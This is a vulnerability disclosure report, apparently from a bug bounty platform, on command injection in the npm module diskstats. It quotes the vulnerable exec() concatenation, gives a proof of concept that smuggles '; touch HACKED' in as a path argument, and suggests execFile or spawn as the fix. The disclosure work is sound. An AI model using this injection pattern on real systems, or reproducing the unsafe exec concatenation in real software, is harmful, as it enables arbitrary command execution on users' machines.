Node.js third-party modules · Report #864354
[diskstats] Command Injection via insecure command concatenation
How it was found
I would like to report a Command Injection issue in the diskstats module.
It allows to execute arbitrary commands on the victim's PC.
Module
module name: diskstats
version: 0.0.2
npm page: https://www.npmjs.com/package/diskstats
Module Description
This library uses df to pull disk information such as free space & inode utilization on your system. This library only works on systems where df is installed and present within your path.
Module Stats
[2] weekly downloads
Vulnerability
Vulnerability Description
The issue occurs because a user input parameter is used inside a command that is executed without any check.
Here's the code which causes the issue:
// https://github.com/PhilipSkinner/diskstats/blob/master/lib/stat.js#L44
....
stat.prototype._fetchSpace = function(path) {
return new Promise((resolve, reject) => {
this.child_process.exec('df ' + this._ensureAbsPath(path), (err, stdout) => { // <-- injection
if (err) {
return reject(err);
}
return resolve(this._parseResponse(stdout));
});
});
};
// https://github.com/PhilipSkinner/diskstats/blob/master/lib/stat.js#L56
stat.prototype._fetchInodes = function(path) {
return new Promise((resolve, reject) => {
this.child_process.exec('df -i ' + this._ensureAbsPath(path), (err, stdout) => { // <-- injection
if (err) {
return reject(err);
}
return resolve(this._parseResponse(stdout));
});
});
};
...
module.exports = function(child_process, path) {
if (!child_process) {
child_process = require('child_process');
}
if (!path) {
path = require('path');
}
return new stat(child_process, path);
}
The path parameter is used to build the command that is passed to the child_process.exec function without any check.
Steps To Reproduce:
-
create a directory for testing
mkdir poccd poc/
-
install
diskstatsmodule:npm i diskstats
-
create the following PoC JavaScript file (
poc.js):
const diskstats = require('diskstats');
diskstats.check('; touch HACKED', (err, results) => {});
- make sure that the
HACKEDfile does not exist:ls
- execute the
poc.jsfile:node poc.js
- the
HACKEDfile is created:ls
{F811513}
Patch
Do not concatenate/format commands using insecure user's input. Always check and sanitize it.
In my opinion, it's better to use child_process.execFile or child_process.spawn functions instead of child_process.exec.
Supporting Material/References:
- OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
- NODEJS VERSION: v14.1.0
- NPM VERSION: 6.14.4
Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Thank you for your time.
best regards,
d3lla
Impact
Command Injection on diskstats module via insecure command concatenation.